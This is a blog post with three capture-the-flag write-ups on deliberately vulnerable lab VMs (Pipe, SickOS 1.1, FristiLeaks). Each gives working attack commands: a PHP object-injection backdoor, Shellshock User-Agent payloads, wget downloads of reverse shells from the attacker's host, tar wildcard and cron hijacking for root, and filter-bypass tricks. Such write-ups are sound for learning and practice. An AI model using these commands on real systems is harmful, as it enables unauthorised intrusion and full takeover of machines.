Tuesday, January 5, 2016

/dev/random: pipe writeup

This third writeup is about  /dev/random: Pipe VM from Sagi-.

Starting with nmap as usual:
$ nmap -p- -T5 -v -A $IP

Found that port 80 is open and a webserver is listening.

nikto on the go:
$ nikto -host $IP

She screams about required auth on /

and also find a /images/ directory, that contain a pipe image with no use to me.

Tried to bruteforce the login using common credentials with no luck, when that realm brings back to my mind an old bug^Wfeature that affects Zend/php and should let bypass htaccess using GETS verb in place of the very used GET and requesting index.php.

I could have tried to visit /index.php using POST(more on this later), but i preferred to give GETS verb a try:
$ curl -X GETS http://$IP/index.php

cool :)

reading the html code of index.php i see that there is a form that sends a POST request with a param named param:

the page header shows a javascript that populates param with a serialized object:

index.php itself includes a javascript from /scriptz/ dir (see image above).

luckily, also curl -X POST http://$IP/index.php bypasses htaccess protection, so i can try to use this form.

back on /scriptz/ directory i can see that she's browsable (among she's world writable) and lists a file named log.php.BAK, which is probably vulnerable to php object injection:

ok, let's pretend that index.php uses that Log class, because of that serialized object sent through POST request, and give object injection a chance trying to write "arbitrary data" to "arbitrary file".

with some test on a box where i can debug the process to inject php code to Log class, some guess about DocRoot, i got this curl command to create a new file:
$ curl --data

the file is a php that runs as a very easy backdoor: system($_GET[c]);
serialized object has been created using the Log class, provided by log.php. of course most of the special chars have to be url-encoded.

once i got my php backdoor on /g.php (edit: placing the backdoor on /scriptz/ would let me use GET but i don't care since i can use GETS and have $_GET superglobal working as i expect) i download a weevely revshell, this time to /scriptz/, visiting the url:
curl -X GETS http://$IP/g.php?c=wget+http://$ME/w.txt+-O+/var/www/html/scriptz/w.php

fired up weevely, it's time to enumerate: DocRoot, /etc/passwd, homedir and cronjobs are mostly my first check, and also this time they're giveback is awesome.

/home/rene is world readable and has a backup/ directory that is world writable:

backup/ dir also store some backup files, with some work i can't find anything useful out of that data garbage so i move on cronjobs:

of course i cannot read /root/create_backup.sh, even if i tried to ;), but i can read /usr/bin/compress.sh since it's 755:

tar with a wildcard: pure gold.
there is a very good paper named "unix wildcard gone wild" that explain this vulnerability at http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

let's create a run file that just touches a file in /tmp to see if it actually runs as root:
$ cd /home/rene/backups
$ echo 1 > --checkpoint=1\;
$ echo 1 > --checkpoint-action=exec=sh\ run\;
$ echo "#!/bin/bash" > run
$ chmod 755 run
$ echo "touch /tmp/foo" >> run

unfortunately it's 10:50:10 so i have to wait full five minutes for the cron to run, then:

the file /tmp/foo has been created by root, so we should have full execution as root.

stickybit for the win:
$ cp /bin/dash /tmp/dash
$ echo 'chown root /tmp/dash' >> run
$ echo 'chmod u+s /tmp/dash' >> run

after the next cron run:

we now have a dash shell owned by root and with the stickybit set.

weevely has some issues running shells interactively, but she let us to run a backdoor shell specifing the binary to execute:

thanks to Sagi- for this VM

Tuesday, December 29, 2015

SickOS 1.1 writeup

Quick writeup about SickOS 1.1 from vulnhub.

As usual, nmap is the first runner:
$ nmap -p- -A -v -T5 $IP

apart port 22/tcp, it's interesting that it runs an open proxy on port 3128.

as a test I configured my browser to use this proxy and browsed to see a funny welcome page:

time to wake up nikto, configured to use the proxy of course:
$ nikto -host -useproxy
our good fellow found a possible way in:

nikto is right:
$ curl -H "User-Agent: () { :; }; echo; /bin/uname -a" --proxy http://$IP:3128 with:

i expect to be a non-privileged user, so to have a more confident environment i created a meterpreter revshell with msfvenom, downloaded and executed it:

$ CMD="/usr/bin/wget -O /tmp/revshell http://$ME/revshell"
$ curl -H "User-Agent: () { :; }; echo; $CMD" --proxy http://$IP:3128
$ CMD="/bin/chmod 755 /tmp/revshell"
$ curl -H "User-Agent: () { :; }; echo; $CMD" --proxy http://$IP:3128
$ CMD="/tmp/revshell"
$ curl -H "User-Agent: () { :; }; echo; $CMD" --proxy http://$IP:3128
msfconsole shows up a new session as uid 33 (www-data): time to enumerate the system and get root.

/var/www lists a CMS, already seen with nikto because of it's in robots.txt Disallow list, but a .py get my attention first. it's world-writable and world-executable and it says:
print "I Try to connect things very frequently\n"
print "You may want to try my services"

in the hope that "I" means "root", i tried a simple:

$ echo "import os" >> connect.py
$ echo "os.system('touch /tmp/foo')" >> connect.py
and waited a couple of seconds before to ls -al /tmp:

so connect.py is executed by root every a while, good find.

to be faster to execute code i added another line to connect.py:
$ echo "os.system('/tmp/run')" >> /var/www/connect.py
then i created a new meterpreter reverseshell, and downloaded+executed it:

$ echo "#!/bin/bash" > /tmp/run
$ echo "wget -O /tmp/revshell4445" >> /tmp/run
$ echo "chmod 755 /tmp/revshell4445" >> /tmp/run
$ echo "/tmp/revshell4445 &" >> /tmp/run
$ echo "rm -f /tmp/run" >> /tmp/run
$ chmod 755 /tmp/run
after a minute i see a new session on msfconsole:

and the flag is:

thanks to D4rk for letting me play with his vulnerable box.

Thursday, December 24, 2015

FristiLeaks 1.3 writeup

You should know it, put somewhere a pink logo and I can't resist.
Downloaded and imported FristiLeaks 1.3 ova file, with a couple of hiccup because of vmware fusion STFU, runt nmap against it:
$ nmap -p- -A -v $IP

we can see that port 80 is open, site homepage says "drink fristi" and nothing more.

now nikto is my next step:
$ nikto -host $IP
+ Entry '/cola/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/sisi/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/beer/' in robots.txt returned a non-forbidden or redirect HTTP code (200)

I found it interesting that all the three directories are drinks and that homepage says drink fristi:
I tried to open also /fristi/, which give back an admin panel.

sqlmap is very cheap to run in background while you read source code, so I captured the POST request and passed to her even if in this case is useless.

homepage source code embed a base64 encoded string in a comment at the very bottom of the source, i pasted the code in file b to decode it:
$ base64 -D -i a -o b

then file b says that it's an image:

renaming it to b.png and opening it show us that this image is actually a string:

back to the source code we can see that the header report the name of the creator of the page:

with some guess I tried to login as eezeepz using the string token from the image as password, and bingo.

I'm now in front of a file upload form: time to fire up burp suite again and try to upload a webshell.
after a few minutes of unsuccessful try, from content/type to case mixup, from uncommon extension to good ol' nullbyte, i tried to upload a file with double extension to exploit a possible misconfiguration in Apache (see AddHandler/AddType) and bingo: shell.php.jpg gets executed as php code:

time to meterpreter the host, i download a php/meterpreter_reverse_tcp using wget visiting che url

and executing it visiting http://$IP/fristi/uploads/shell.php

a quick view at docroot doesn't give me anything useful, even mysql database (cat checklogin.php) doesn't help me.

time to enumerate, /etc/passwd talks about four possible targets:

starting from fristi, who names the game, we can see a notes.txt file:

ok, eezeepz is also the "web developer", so i'm sure i'll find interesting stuff in his mess.

listing files i found another notes.txt:

so we can execute commands as admin, sum it up the requirements:
  • must start with /usr/bin/ or
  • must be in /home/admin/
i can't see what's in /home/admin so i have to trust that there are only chmod, df, cat, echo, ps, grep and egrep.
let's see if this works:
echo "/home/admin/echo \`whoami\`" > /tmp/runthis
chmod 755 /tmp/runthis

after a minute i can see /tmp/cronresult:

let's see if we can fool the check for ^/usr/bin/:
echo "/usr/bin/../../bin/ls -al" > /tmp/runthis
chmod 755 /tmp/runthis

df says we have space enough to copy /home/admin to /tmp, so:
echo "/usr/bin/../../bin/cp -R /home/admin /tmp/admin" > /tmp/runthis
echo "/home/admin/chmod -R 777 /tmp/admin" >> /tmp/runthis
chmod 755 /tmp/runthis

after less than a minute i see /tmp/admin:

remove /tmp/runthis to avoid it to run again with rm -f /tmp/runthis

so, cryptedpass.txt and cryptpass.py in the same place. no need to say what i would do.

cryptpass.py is very easy:

it takes a string, base64encode then rot13 from the end to the beginning.
the script that takes cryptedpass and decode it is:

both cryptedpass.txt and whoisyourgodnow.txt contain encrypted password

let's try some "su" with this two passwords against the username we found in /etc/passwd starting with a plain shell:
python -c 'import pty; pty.spawn("/bin/bash")'

i found that i can su as admin, but since i can execute command with that uid i don't care so much.
decoded password from whoisyourgodnow.txt let me to su as fristigod.

his home have interesting stuff:

cat .bash_history types herself:

great, the user can someway sudo. let's see what he can execute with sudo -l:

not so much apparently...but doCom is suid ;)

easy bet:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
replies with our beloved:
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

time to get a shell:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

/root of course contains a .txt file with the flag:

and a message that has a typo, because this image is distributed as 1.3 and txt speaks of 1.0, but who cares? :)

thanks Ar0xA for letting me spend some time playin with this box